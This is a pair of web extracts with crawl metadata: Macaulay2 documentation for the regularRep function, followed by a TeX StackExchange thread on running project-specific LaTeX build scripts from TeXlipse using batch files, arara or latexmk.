# regularRep(RingElement,Ideal) ## Synopsis • Function: regularRep • Usage: regularRep(f,I) • Inputs: • Outputs: • , the matrix of the linear map defined by multiplication byfin terms of the standard basis of a finite-dimensional k-vector spaceI ## Description This command gives the matrix of the linear map defined by multiplication by f in terms of the standard basis of a finite-dimensional k-vector space I i1 : R = QQ[x,y] o1 = R o1 : PolynomialRing i2 : F = {y^2-x^2-1,x-y^2+4*y-2} 2 2 2 o2 = {- x + y - 1, - y + x + 4y - 2} o2 : List i3 : I = ideal F 2 2 2 o3 = ideal (- x + y - 1, - y + x + 4y - 2) o3 : Ideal of R i4 : regularRep(y,I) o4 = (| 1 x xy y |, | 0 0 -3 -2 |) | 0 0 -1 1 | | 0 1 4 0 | | 1 0 4 4 | o4 : Sequence i5 : S = R/I o5 = S o5 : QuotientRing i6 : regularRep(y) o6 = (| 1 x xy y |, | 0 0 -3 -2 |) | 0 0 -1 1 | | 0 1 4 0 | | 1 0 4 4 | o6 : Sequence
2022-07-06 22:56:22
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6117638349533081, "perplexity": 429.64968117180393}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-27/segments/1656104678225.97/warc/CC-MAIN-20220706212428-20220707002428-00212.warc.gz"}
http://tex.stackexchange.com/questions/62098/using-a-bat-file-with-texlipse
# Using a .bat file with TeXlipse I use TeXlipse as editor of my choice. Since I use the `nomencl` package, I added a `.bat` file in TeXlipse preferences: ``````@echo off pdflatex -synctex=1 -interaction=nonstopmode main.tex makeindex main.idx makeindex main.nlo -s nomencl.ist -o main.nls bibtex main `````` Now my problem is that every project would use this `.bat` file in this folder. If I have to swap between two projects I always need to adapt the file. Is there a way I can specify a `.bat` file directly in the `.tex` file, so that I can use a `.bat` file for a specific project? - Is not possible to use a kind of variable to the main file? Something like %f.tex? – Sigur Jul 3 '12 at 22:32 You have a different option now: just add ``````% arara: pdflatex: {synctex: yes, action: nonstopmode} % arara: makeindex % arara: nomencl % arara: bibtex % arara: pdflatex `````` at the beginning of your LaTeX file (say `main.tex`) and change the `.bat` file into ``````@echo off arara main `````` If you have an uptodate TeX Live 2012, arara will already be available. With MiKTeX 2.9 you have to install it. See https://github.com/cereda/arara for finding the installer and the documentation. - In the builder of Texlipse you can call your .bat as usual and in the arguments pour `%input`. Then in your .bat you can do ``````@echo off cd "%~dp1" set texSource=%~n1 pdflatex -synctex=1 -interaction=nonstopmode "%texSource%.tex" makeindex %texSource%.idx makeindex %texSource%.nlo -s nomencl.ist -o %texSource%.nls bibtex %texSource% `````` Also, I suggest you look at using LatexMK which, after you installed Perl, allows you to replace all that above with ``````latexmk -pdflatex="pdflatex -file-line-error -synctex=1" -pdf "%texSource%" -r latexmk `````` for instance. -
2016-07-27 23:12:09
{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8459612131118774, "perplexity": 14900.080886807405}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-30/segments/1469257827080.38/warc/CC-MAIN-20160723071027-00269-ip-10-185-27-174.ec2.internal.warc.gz"}